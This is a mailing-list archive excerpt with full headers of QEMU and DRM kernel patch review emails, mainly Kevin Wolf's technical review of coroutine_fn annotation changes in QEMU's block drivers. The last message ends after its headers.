 (envelope-from <kwolf@redhat.com>)
 id 6a636673-2eae-0a2a0a5409dd-0a2a4503b200-38
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 15:20:04 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kwolf@redhat.com>)
 id 6a63667f-fae8-0a2a45030019-aa0a817ce5e9-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 15:20:00 +0200
Received: from mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-315-vIi1JKzmPCuFwDSR8HGTiQ-1; Fri,
 24 Jul 2026 09:19:57 -0400
Received: from mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.4])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 4ACE6195608F; Fri, 24 Jul 2026 13:19:54 +0000 (UTC)
Received: from redhat.com (unknown [10.44.33.93])
 by mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 5AF6630002D5; Fri, 24 Jul 2026 13:19:47 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784899199;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=0ubiKibu8zl7z7x/gixfrgnSBYVwrzyl4hfifSU9rVM=;
	b=a+no/ayI7XeBXxoPUymRP3/r73X4kuNBKxe62BekfSvKhekhIxvi4zJ8YfLrXSJQ/gLFZ3
	LlyMrvlHwT41Wj9fjReGjVFMxWpXZkMOvOmfPen4Hy/v6tp0SWXS+E84YYwV8fMcc5ADtq
	PmNwvdzyTq7mUIKrJ3ptPPNtcgtCjP4=
X-MC-Unique: vIi1JKzmPCuFwDSR8HGTiQ-1
X-Mimecast-MFC-AGG-ID: vIi1JKzmPCuFwDSR8HGTiQ_1784899195
Date: Fri, 24 Jul 2026 15:19:45 +0200
From: Kevin Wolf <kwolf@redhat.com>
To: =?iso-8859-1?Q?Marc-Andr=E9?= Lureau <marcandre.lureau@redhat.com>
Cc: qemu-devel@nongnu.org, Markus Armbruster <armbru@redhat.com>,
	Peter Xu <peterx@redhat.com>, Fabiano Rosas <farosas@suse.de>,
	Daniel =?iso-8859-1?Q?P=2E_Berrang=E9?= <berrange@redhat.com>,
	John Snow <jsnow@redhat.com>,
	Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
	Hanna Reitz <hreitz@redhat.com>, qemu-block@nongnu.org,
	Stefan Hajnoczi <stefanha@redhat.com>, Fam Zheng <fam@euphon.net>,
	"Denis V. Lunev" <den@openvz.org>,
	Christian Schoenebeck <qemu_oss@crudebyte.com>,
	Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Subject: Re: [PATCH 6/8] block: add missing coroutine_fn annotations
Message-ID: <amNmcTIfZT0OFpkB@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-6-fabb4db3c204@redhat.com>
MIME-Version: 1.0
In-Reply-To: <20260720-co-v1-6-fabb4db3c204@redhat.com>
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.4
X-Mimecast-MFC-PROC-ID: CCp7kR5hmmOSnPvHZud7ddJpSalkg_IJ7hISWMLBZQ8_1784899195
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784899200-6F4C74E9-0546E2CE/0/0
X-purgate-type: clean
X-purgate-size: 2935

Am 20.07.2026 um 09:55 hat Marc-André Lureau geschrieben:
> The functions call coroutine functions or are called by coroutine.

That it's called only by coroutines isn't a reason to make a function
coroutine_fn as long as it theoretically could be called by
non-coroutine code and it would still work fine (i.e. it doesn't yield).

> Add an assert() in qcow2_do_close() code path which calls a
> no_coroutine_fn bdrv_graph_wrlock_drained().
> 
> Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com>

> diff --git a/block/parallels.c b/block/parallels.c
> index 7a90fb5220b..46a6e8f2743 100644
> --- a/block/parallels.c
> +++ b/block/parallels.c
> @@ -142,8 +142,9 @@ static uint32_t host_cluster_index(BDRVParallelsState *s, int64_t off)
>      return off / s->cluster_size;
>  }
>  
> -static int64_t block_status(BDRVParallelsState *s, int64_t sector_num,
> -                            int nb_sectors, int *pnum)
> +static int64_t coroutine_fn
> +block_status(BDRVParallelsState *s, int64_t sector_num,
> +             int nb_sectors, int *pnum)
>  {
>      int64_t start_off = -2, prev_end_off = -2;
>  

Specifically this hunk is unclear to me.

As far as I can see, block_status() can't yield. Why did you add the
coroutine_fn marker here, but not e.g. for seek_to_sector() or
cluster_remainder(), which are only called by block_status() and
therefore also always only in coroutine context?

I believe the right way to stay consistent is to leave all of them
unmarked because there is no fundamental reason why they would only make
sense in coroutine context.

> diff --git a/block/qcow2.c b/block/qcow2.c
> index 19271b10a49..161626fa3cb 100644
> --- a/block/qcow2.c
> +++ b/block/qcow2.c
> @@ -1287,9 +1287,10 @@ fail:
>  }
>  
>  /* s_locked specifies whether s->lock is held or not */
> -static void qcow2_update_options_commit(BlockDriverState *bs,
> -                                        Qcow2ReopenState *r,
> -                                        bool s_locked)
> +static void coroutine_fn
> +qcow2_update_options_commit(BlockDriverState *bs,
> +                            Qcow2ReopenState *r,
> +                            bool s_locked)
>  {
>      BDRVQcow2State *s = bs->opaque;
>      int i;
> @@ -2126,7 +2127,8 @@ fail:
>      return ret;
>  }
>  
> -static void qcow2_reopen_commit(BDRVReopenState *state)
> +static void coroutine_fn
> +qcow2_reopen_commit(BDRVReopenState *state)
>  {
>      BDRVQcow2State *s = state->bs->opaque;
>  

This doesn't match the declaration of the .bdrv_reopen_commit callback
in BlockDriver, and as far as I can see, the callers are actually
guaranteed to _not_ be in coroutine context.

If this is true, qcow2_update_options_commit() should probably be marked
coroutine_mixed_fn and this one stay unannotated or no_coroutine_fn.

The other parts of the patch looks correct.

Kevin



From xen-devel-bounces@lists.xenproject.org Fri Jul 24 13:21:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 13:21:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370019.1618436 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnFqW-000362-Q6; Fri, 24 Jul 2026 13:21:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370019.1618436; Fri, 24 Jul 2026 13:21:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnFqW-00035v-NP; Fri, 24 Jul 2026 13:21:48 +0000
Received: by outflank-mailman (input) for mailman id 1370019;
 Fri, 24 Jul 2026 13:21:47 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kwolf@redhat.com>) id 1wnFqV-00035p-7z
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 13:21:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnFqU-00AbuR-Jd
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 15:21:46 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <kwolf@redhat.com>)
 id 6a6366e4-5cb7-0a2a0a5109dd-0a2a4507afaa-10
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 15:21:46 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kwolf@redhat.com>)
 id 6a6366e9-b4ea-0a2a45070019-aa0a857cc25f-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 15:21:46 +0200
Received: from mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-128-qyhE3JscPfyzrkmZmiM3Ow-1; Fri,
 24 Jul 2026 09:21:41 -0400
Received: from mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.12])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id D05CF1955D5B; Fri, 24 Jul 2026 13:21:38 +0000 (UTC)
Received: from redhat.com (unknown [10.44.33.93])
 by mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 286121954213; Fri, 24 Jul 2026 13:21:31 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784899305;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=RNdgEp2/7vVlFiygJ8fO8AWC5qhdC3DykmCksO9GiQE=;
	b=ff7ksm9tW9Wi78Dp998y0IF7UCme4/slsFreNmltro4wFU6JKiV9IEvqqNpik812Hx0CRx
	XjZ0AJKhBNXlxolPa54NchoTC68fglmE6etOMOEm74TloWqQLUO9WcilWtd2mxbR4rS12L
	y/GsoThPTqjoI0pjVOaSADt8sU2oVec=
X-MC-Unique: qyhE3JscPfyzrkmZmiM3Ow-1
X-Mimecast-MFC-AGG-ID: qyhE3JscPfyzrkmZmiM3Ow_1784899299
Date: Fri, 24 Jul 2026 15:21:29 +0200
From: Kevin Wolf <kwolf@redhat.com>
To: =?iso-8859-1?Q?Marc-Andr=E9?= Lureau <marcandre.lureau@redhat.com>
Cc: qemu-devel@nongnu.org, Markus Armbruster <armbru@redhat.com>,
	Peter Xu <peterx@redhat.com>, Fabiano Rosas <farosas@suse.de>,
	Daniel =?iso-8859-1?Q?P=2E_Berrang=E9?= <berrange@redhat.com>,
	John Snow <jsnow@redhat.com>,
	Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
	Hanna Reitz <hreitz@redhat.com>, qemu-block@nongnu.org,
	Stefan Hajnoczi <stefanha@redhat.com>, Fam Zheng <fam@euphon.net>,
	"Denis V. Lunev" <den@openvz.org>,
	Christian Schoenebeck <qemu_oss@crudebyte.com>,
	Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Subject: Re: [PATCH 4/8] block: add missing coroutine annotation
Message-ID: <amNm2a9S0a-vRYVQ@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-4-fabb4db3c204@redhat.com>
MIME-Version: 1.0
In-Reply-To: <20260720-co-v1-4-fabb4db3c204@redhat.com>
X-Scanned-By: MIMEDefang 3.0 on 10.30.177.12
X-Mimecast-MFC-PROC-ID: 4sj9clEysXCZeN0B5qU2E0Bsp365bBrzSx-byF9wEVk_1784899299
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784899306-360C5AE4-9DA8D1D3/0/0
X-purgate-type: clean
X-purgate-size: 316

Am 20.07.2026 um 09:55 hat Marc-André Lureau geschrieben:
> The function was extracted without carrying the annotation.
> 
> Fixes: 23743ab282af ("block: move commit_run loop to separate function")
> Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com>

Reviewed-by: Kevin Wolf <kwolf@redhat.com>



From xen-devel-bounces@lists.xenproject.org Fri Jul 24 14:54:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 14:54:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370071.1618445 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnHHV-0002l7-0s; Fri, 24 Jul 2026 14:53:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370071.1618445; Fri, 24 Jul 2026 14:53:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnHHU-0002l0-UE; Fri, 24 Jul 2026 14:53:44 +0000
Received: by outflank-mailman (input) for mailman id 1370071;
 Fri, 24 Jul 2026 14:53:44 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1wnHHT-0002ku-Qw
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 14:53:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnHHT-00EWYz-0J
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 16:53:43 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a637c6c-5cb7-0a2a0a5109dd-0a2a4501ea0e-20
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 16:53:42 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a637c76-5984-0a2a45010019-c387df82c7ec-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 16:53:42 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 753F17B943;
 Fri, 24 Jul 2026 14:53:42 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 2AB5E779BA;
 Fri, 24 Jul 2026 14:53:41 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id DDOzCHV8Y2ppcgAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Fri, 24 Jul 2026 14:53:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1784904822; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=RAbRRkvRTxVUP4oDtav7AZ4U19XpJLvmf4PtWK1XFlc=;
	b=ylaX/+BapsrlcuO8oMXXB8HAmdfGXLP31Z7ebwxeLkCKt+Krk8GPyM0hZbTYqttmSL8sg8
	cypfXhTbZkRJjuUmk7szOFTmhTnP8bbq7YYDi+ouTuwDRJLZq6JHionSJQKLPQCePPC4+j
	hChJglEHOmOwGNU+oD1BtYhZts04SV0=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1784904822;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=RAbRRkvRTxVUP4oDtav7AZ4U19XpJLvmf4PtWK1XFlc=;
	b=Km3dRFOZEaV+XY97uNOiebcEHLXx1u848dxvahZF68g7AdbD8azVpnCXYRJir/l+Z50bK9
	Z5rfzC4JJusLQrAA==
Authentication-Results: smtp-out1.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1784904822; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=RAbRRkvRTxVUP4oDtav7AZ4U19XpJLvmf4PtWK1XFlc=;
	b=ylaX/+BapsrlcuO8oMXXB8HAmdfGXLP31Z7ebwxeLkCKt+Krk8GPyM0hZbTYqttmSL8sg8
	cypfXhTbZkRJjuUmk7szOFTmhTnP8bbq7YYDi+ouTuwDRJLZq6JHionSJQKLPQCePPC4+j
	hChJglEHOmOwGNU+oD1BtYhZts04SV0=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1784904822;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=RAbRRkvRTxVUP4oDtav7AZ4U19XpJLvmf4PtWK1XFlc=;
	b=Km3dRFOZEaV+XY97uNOiebcEHLXx1u848dxvahZF68g7AdbD8azVpnCXYRJir/l+Z50bK9
	Z5rfzC4JJusLQrAA==
Message-ID: <85fef48b-6e6a-40ff-9b71-5048828220fe@suse.de>
Date: Fri, 24 Jul 2026 16:53:40 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] drm/gem: Move pages_to_sg helper into drm_gem.c
To: =?UTF-8?Q?Adri=C3=A1n_Larumbe?= <adrian.larumbe@collabora.com>,
 Alex Deucher <alexander.deucher@amd.com>,
 =?UTF-8?Q?Christian_K=C3=B6nig?= <christian.koenig@amd.com>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Jianmin Lv <lvjianmin@loongson.cn>, Qianhai Wu <wuqianhai@loongson.cn>,
 Huacai Chen <chenhuacai@kernel.org>, Mingcong Bai <jeffbai@aosc.io>,
 Xi Ruoyao <xry111@xry111.site>, Icenowy Zheng <zhengxingda@iscas.ac.cn>,
 Rob Clark <robin.clark@oss.qualcomm.com>, Dmitry Baryshkov
 <lumag@kernel.org>, Abhinav Kumar <abhinav.kumar@linux.dev>,
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>,
 Marijn Suijten <marijn.suijten@somainline.org>, Lyude Paul
 <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Zack Rusin
 <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Sumit Semwal <sumit.semwal@linaro.org>
Cc: amd-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
 linux-kernel@vger.kernel.org, etnaviv@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org, linux-tegra@vger.kernel.org,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-media@vger.kernel.org, linaro-mm-sig@lists.linaro.org
References: <20260724-get_pages-v1-1-b10e5d65628e@collabora.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHNJ1Rob21hcyBaaW1tZXJtYW5uIDx0emltbWVybWFubkBzdXNlLmRlPsLAjgQTAQgAOAIb
 AwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftODH
 AAoJEGgNwR1TC3ojx1wH/0hKGWugiqDgLNXLRD/4TfHBEKmxIrmfu9Z5t7vwUKfwhFL6hqvo
 lXPJJKQpQ2z8+X2vZm/slsLn7J1yjrOsoJhKABDi+3QWWSGkaGwRJAdPVVyJMfJRNNNIKwVb
 U6B1BkX2XDKDGffF4TxlOpSQzdtNI/9gleOoUA8+jy8knnDYzjBNOZqLG2FuTdicBXblz0Mf
 vg41gd9kCwYXDnD91rJU8tzylXv03E75NCaTxTM+FBXPmsAVYQ4GYhhgFt8S2UWMoaaABLDe
 7l5FdnLdDEcbmd8uLU2CaG4W2cLrUaI4jz2XbkcPQkqTQ3EB67hYkjiEE6Zy3ggOitiQGcqp
 j//OwE0EWznS4AEIAMYmP4M/V+T5RY5at/g7rUdNsLhWv1APYrh9RQefODYHrNRHUE9eosYb
 T6XMryR9hT8XlGOYRwKWwiQBoWSDiTMo/Xi29jUnn4BXfI2px2DTXwc22LKtLAgTRjP+qbU6
 3Y0xnQN29UGDbYgyyK51DW3H0If2a3JNsheAAK+Xc9baj0LGIc8T9uiEWHBnCH+RdhgATnWW
 GKdDegUR5BkDfDg5O/FISymJBHx2Dyoklv5g4BzkgqTqwmaYzsl8UxZKvbaxq0zbehDda8lv
 hFXodNFMAgTLJlLuDYOGLK2AwbrS3Sp0AEbkpdJBb44qVlGm5bApZouHeJ/+n+7r12+lqdsA
 EQEAAcLAdgQYAQgAIAIbDBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftOH6AAoJEGgNwR1T
 C3ojVSkIALpAPkIJPQoURPb1VWjh34l0HlglmYHvZszJWTXYwavHR8+k6Baa6H7ufXNQtThR
 yIxJrQLW6rV5lm7TjhffEhxVCn37+cg0zZ3j7zIsSS0rx/aMwi6VhFJA5hfn3T0TtrijKP4A
 SAQO9xD1Zk9/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <20260724-get_pages-v1-1-b10e5d65628e@collabora.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.80
X-Spam-Level: 
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	TAGGED_RCPT(0.00)[etnaviv];
	MIME_TRACE(0.00)[0:+];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	ARC_NA(0.00)[];
	FREEMAIL_TO(0.00)[collabora.com,amd.com,gmail.com,ffwll.ch,linux.intel.com,kernel.org,pengutronix.de,armlinux.org.uk,loongson.cn,aosc.io,xry111.site,iscas.ac.cn,oss.qualcomm.com,linux.dev,poorly.run,somainline.org,redhat.com,arm.com,rock-chips.com,sntech.de,nvidia.com,broadcom.com,intel.com,epam.com,linaro.org];
